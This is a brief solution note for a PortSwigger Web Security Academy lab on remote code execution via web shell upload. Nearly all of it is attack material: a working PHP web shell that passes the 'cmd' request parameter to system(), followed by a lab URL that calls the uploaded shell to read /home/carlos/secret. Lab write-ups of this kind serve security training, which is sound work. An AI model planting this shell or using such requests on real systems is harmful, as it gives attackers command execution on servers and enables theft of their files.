Lab: Remote code execution via web shell upload

https://portswigger.net/web-security/file-upload/lab-file-upload-remote-code-execution-via-web-shell-upload

Upload a smiple-backdoor.php

<?php

if(isset($_REQUEST['cmd'])){
        echo "<pre>";
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
        echo "</pre>";
        die;
}

?>

https://0a5d000503de3f8681f698b900c10072.web-security-academy.net/files/avatars/simple-backdoor.php?cmd=cat+/home/carlos/secret